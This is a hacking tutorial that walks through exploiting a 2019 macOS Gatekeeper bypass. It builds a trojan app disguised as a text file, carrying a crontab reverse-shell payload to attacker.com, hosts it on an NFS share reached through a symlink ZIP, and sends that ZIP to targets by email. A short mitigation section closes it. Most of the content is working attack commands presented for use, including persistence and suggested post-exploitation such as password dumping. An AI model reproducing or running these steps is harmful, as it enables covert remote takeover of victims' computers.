How to Bypass Gatekeeper & Exploit macOS 10.14.5 & Earlier

May 28, 2019 06:58 PM
Jun 5, 2019 02:23 PM
636944945764587470.jpg

Apple's Gatekeeper security software for macOS (Mac OS X) is vulnerable to remote attacks up to version 10.14.5. An attacker that's anywhere in the world can exploit MacBooks and other Mac computers by sharing a single ZIP file.

The vulnerability was discovered by Filippo Cavallarin, a security researcher and CEO of We Are Segment, an Italian cyber-security company. In his blog post, Filippo demonstrates how a remote attacker can exploit the vulnerability. His video (below) also shows it in action.

At the time of this writing, there is no patch for the vulnerability. It affects macOS Mojave 10.14.5 and all prior versions according to Filippo, so High Sierra, Sierra, El Capitan, Yosemite, and so on are likely all vulnerable.

He had made several attempts over three months to communicate the issue to Apple but had not received a follow-up response after responsibly disclosing the vulnerability. Filippo recently told us that Apple finally replied late and will fix the security vulnerability in macOS Mojave 10.14.6.

I'm going to show how an attacker would exploit the vulnerability. But before we dive into setting up the attack, let's quickly go over three essential technologies.

  • Gatekeeper: A security feature of macOS designed to ensure that only trusted applications run on a Mac computer. Normally, when an app is downloaded through a web browser, Gatekeeper will either confirm the software is from a verified developer or immediately flag it as suspicious. With Filippo's exploit, Gatekeeper doesn't prevent a malicious app from executing.
  • Symbolic Links: Useful for maintaining copies of the same file in multiple directories. A symbolic link (aka symlink) can point to a file or directory in another directory or remote computer. In this exploit, a symlink is used to point to a directory on the attacker's server. In macOS, symlinks that point to remote servers are automatically mounted and trusted by Gatekeeper.
  • Network File System: A distributed file system protocol similar to SMB. The symlink invokes a connection to the attacker's Network File System (NFS) share which contains the malicious payload.app.

The setup outlined in this article will use a fake text file in a shared NFS directory. Keep in mind, the payload(s) can be disguised as any file type, including PDF, MP4, and JPEG. An app with a spoofed icon and file extension can be challenging to detect.

636944904649118850.jpg

One of these files is a payload. At a glance, it's difficult to identify the malicious file.

An NFS share will first be set up in a Debian 9 virtual private server (VPS). Then, two files will be created: payload.app and exploit.zip.

The payload.app is the file stored on the NFS share, intended for the target MacBook user, and will execute a persistence command that abuses crontab. The exploit.zip is the file shared with the target user and will contain the symlink that allows the attacker to bypass Gatekeeper's security features.

Finally, Netcat is configured on the VPS to receive reverse shell connections, and the exploit.zip is shared with the target via email.

Step 1: Install NFS in Debian (VPS)

To get started, SSH into the server where the NFS share will be installed. The attack can be set up on a local network (i.e., 192.168.1.2 in Kali), but this exploit allows an attacker to hack MacBooks from anywhere in the world, so let's take full advantage of that with a VPS demonstration.

Use the below apt-get command to install the necessary NFS software.

~$ sudo apt-get update && sudo apt-get install nfs-common nfs-kernel-server

Hit:1 http://security.debian.org/debian-security stretch/updates InRelease
Ign:2 http://http.us.debian.org/debian stretch InRelease
Hit:3 http://http.us.debian.org/debian stretch-updates InRelease
Hit:4 http://http.us.debian.org/debian stretch Release
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  keyutils libevent-2.0-5 libnfsidmap2 libtirpc1 rpcbind
Suggested packages:
  open-iscsi watchdog
The following NEW packages will be installed:
  keyutils libevent-2.0-5 libnfsidmap2 libtirpc1 nfs-common nfs-kernel-server rpcbind
0 upgraded, 7 newly installed, 0 to remove and 58 not upgraded.
Need to get 718 kB of archives.
After this operation, 2,037 kB of additional disk space will be used.
Do you want to continue? [Y/n]

The NFS service will probably start automatically, that's normal. Check the status of service using the systemctl command.

~$ sudo systemctl status nfs-server

● nfs-server.service - NFS server and services
   Loaded: loaded (/lib/systemd/system/nfs-server.service; enabled; vendor preset: enabled)
   Active: active (exited) since Sun 2019-05-26 22:16:48 UTC; 33s ago
 Main PID: 14386 (code=exited, status=0/SUCCESS)

May 26 22:16:48 deb1 systemd[1]: Starting NFS server and services...
May 26 22:16:48 deb1 systemd[1]: Started NFS server and services.

Make a working directory where the payload.app will be stored and shared. My example will use fake text files representing "invoices," so the NFS directory will be called "monthly" (e.g., monthly invoices).

~$ sudo mkdir -p /nfs/monthly

Next, edit the /etc/exports file where the NFS shares are managed. Use echo to make the /nfs/monthly directory remotely accessible to the target MacBook user.

~$ sudo echo '/nfs/monthly *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)' >> /etc/exports

Restart the NFS service with the following command.

~$ sudo systemctl restart nfs-server

Ensure the previous commands were successful by viewing mounted directories with the showmount command.

~$ showmount -e <vps ip address>

Export list for <vps ip address>:
/nfs/monthly *

Step 2: Create the Payload.app

Now, creating the payload requires a macOS device to follow along. The payload is the final code (or script) embedded in the payload.app that's executed on the target MacBook. The following commands will use the "$app" variable as the file name for convenience.

In macOS, open a Terminal. The following commands should be executed as a root user.

~$ sudo su

Set the $app variable, which will be the file name of the fake TXT file viewed by the target. My example uses the month of "May," but this value is completely arbitrary.

~# app='payload_name'

Copy (cp) the chess application into the /tmp directory. Filippo used the Calculator.app in his proof of concept, but I wasn't able to modify that application icon for some unknown reason. The Chess.app, however, worked well in my tests.

~# cp -r /Applications/Chess.app/ /tmp/"$app".app

Embed the desired payload into the copied application. My below example creates a very persistent backdoor. However, the payload can be substituted with any combination of post-exploitation scripts including sudo hacks, situational awareness enumeration, browser password dumping, microphone eavesdropping, and so on.

~# printf '#!/bin/bash\n%s' "echo '* * * * *     bash -i >& /dev/tcp/attacker.com/9999 0>&1' | crontab -" >/tmp/"$app".app/Contents/MacOS/Chess

The printf command will pipe (|) a Bash one-liner into the crontab command. The Bash one-liner will attempt to create a new TCP connection every sixty-seconds to the attacker's system (attacker.com) on port 9999.

The attacker's domain can be substituted with a VPS or local network IP address. If successful, the target's MacBook will continue to attempt connections to the attacker's address, infinitely. Readers interested in scheduling cronjobs at intervals other than sixty-seconds should check out Ole Michelsen's article on using crontab in macOS.

Make sure the payload has permission to execute.

~# chmod +x /tmp/"$app".app/Contents/MacOS/Chess

Copy a desired Apple icon file and override the default Chess icon. The icon must be in ICNS format.

~# cp /path/to/text_file.icns /tmp/"$app".app/Contents/Resources/Chess.icns

Compress the $app.app into a ZIP file, which will make it easier to transport to the remote Debian server hosting the NFS share.

~# zip -ry /tmp/"$app".zip /tmp/"$app".app/
636944874801341857.jpg

Moving the $app.app to the attacker's system can be done in a number of ways including command line file-sharing websites, sftp, and scp.

~# scp -P 22 /tmp/"$app".zip 11.22.33.44:/nfs/monthly

root@attacker.com's password:
May.zip                                               100% 4007KB 284.6KB/s   00:14

Back on the Debian server, the compressed $app can be found.

~$ ls -la /nfs/monthly/

total 4016
drwxr-xr-x 2 root root    4096 May 26 22:38 .
drwxr-xr-x 3 root root    4096 May 26 22:17 ..
-rw-r--r-- 1 root root 4103220 May 26 22:39 May.zip

Change into the directory with cd /nfs/monthly/. Install unzip with apt-get install unzip and decompress the $app with the following command.

/nfs/monthly# unzip May.zip

Archive:  May.zip
   creating: tmp/May.app/
   creating: tmp/May.app/Contents/
   creating: tmp/May.app/Contents/_CodeSignature/
  inflating: tmp/May.app/Contents/_CodeSignature/CodeResources
   creating: tmp/May.app/Contents/MacOS/
  inflating: tmp/May.app/Contents/MacOS/Chess
   creating: tmp/May.app/Contents/Resources/
...
  inflating: tmp/May.app/Contents/Resources/ca.lproj/InfoPlist.strings
  inflating: tmp/May.app/Contents/Resources/ca.lproj/COPYING
  inflating: tmp/May.app/Contents/Resources/ca.lproj/About.strings
  inflating: tmp/May.app/Contents/Resources/ca.lproj/Board.strings
  inflating: tmp/May.app/Contents/Resources/Game.icns
  inflating: tmp/May.app/Contents/Info.plist
 extracting: tmp/May.app/Contents/PkgInfo
  inflating: tmp/May.app/Contents/version.plist

Move the May.app/ into the current directory.

/nfs/monthly# mv tmp/May.app/ .

Clean up the monthly/ directory by removing the tmp/ directory and $app.zip.

/nfs/monthly# rm -rf tmp/ && rm May.zip

All that should remain is the $app.app.

/nfs/monthly# ls -la

total 12
drwxr-xr-x 3 root root 4096 May 26 22:53 .
drwxr-xr-x 3 root root 4096 May 26 22:17 ..
drwxr-xr-x 3 root root 4096 May 26 22:23 May.app

At this point, /nfs/monthly can be populated with arbitrary files to further conceal the malicious $app.app (shown below). Alternatively, the $app.app can be copied multiple times in the same directory using different file names, making every single file in the NFS share dangerous to click on.

636944876310212202.jpg

"May" is the payload, [https://null-byte.wonderhowto.com/how-to/hacking-macos-create-fake-pdf-trojan-with-applescript-part-2-disguising-script-0184706/ without a spoofed file extension]. Other TXT files are real.

Step 3: Create the Exploit.zip

The exploit.zip will contain the symlink. Remember, this symlink will connect to the NFS share on the Debian server, making the malicious $app available to the target user.

In macOS, open a new Terminal. Create a new "monthly" directory.

~$ mkdir monthly

Then, create a symbolic link called "invoices" in the monthly/ directory.

~$ ln -s /net/attacker.com/nfs/monthly monthly/invoices

Finally, compress (zip) the directory into an archive.zip. The archive is meant to be shared with the target.

~$ zip -r -y archive.zip monthly

The -r and -y options are essential to this command. The -r will recursively compress everything in the monthly/ directory, while -y will keep symlinks as they are. When the ZIP is decompressed on the target MacBook, the symlink will remain unmodified.

636944877156306071.jpg

Step 4: Deliver the Exploit.zip

This vulnerability allows attackers to share the exploit.zip with any macOS user remotely. An email will be a capable attack vector.

636944885323494231.jpg

With the exploit.zip sent to the intended target, it's just a matter of waiting for them to click on the "May" payload. Netcat can be set up on the Debian VPS with the following command.

nc -l -p 9999

How to Protect Against NFS Share Attacks

Wait until Apple releases macOS Mojave 10.14.6, then install the update. Until then, as a temporary workaround, Filippo recommends disabling macOS's automount functionality to prevent NFS shares from being mounted via symbolic links, which can be done by modifying the /etc/auto_master file.

~$ sudo nano /etc/auto_master

Add a comment (#) to the /net line. Then, press Ctrl + x, then y, then Enter to save the file changes. Reboot the operating system for the change to take effect.

636944929208025002.jpg

If you enjoyed this article, follow me on Twitter @tokyoneon_ and GitHub to keep with my current projects. For questions and concerns, leave a comment below or message me on Twitter.

Cover photo Luis Quintero/PEXELS; screenshots by tokyoneon/Null Byte

Comments

No Comments Exist

Be the first, drop a comment!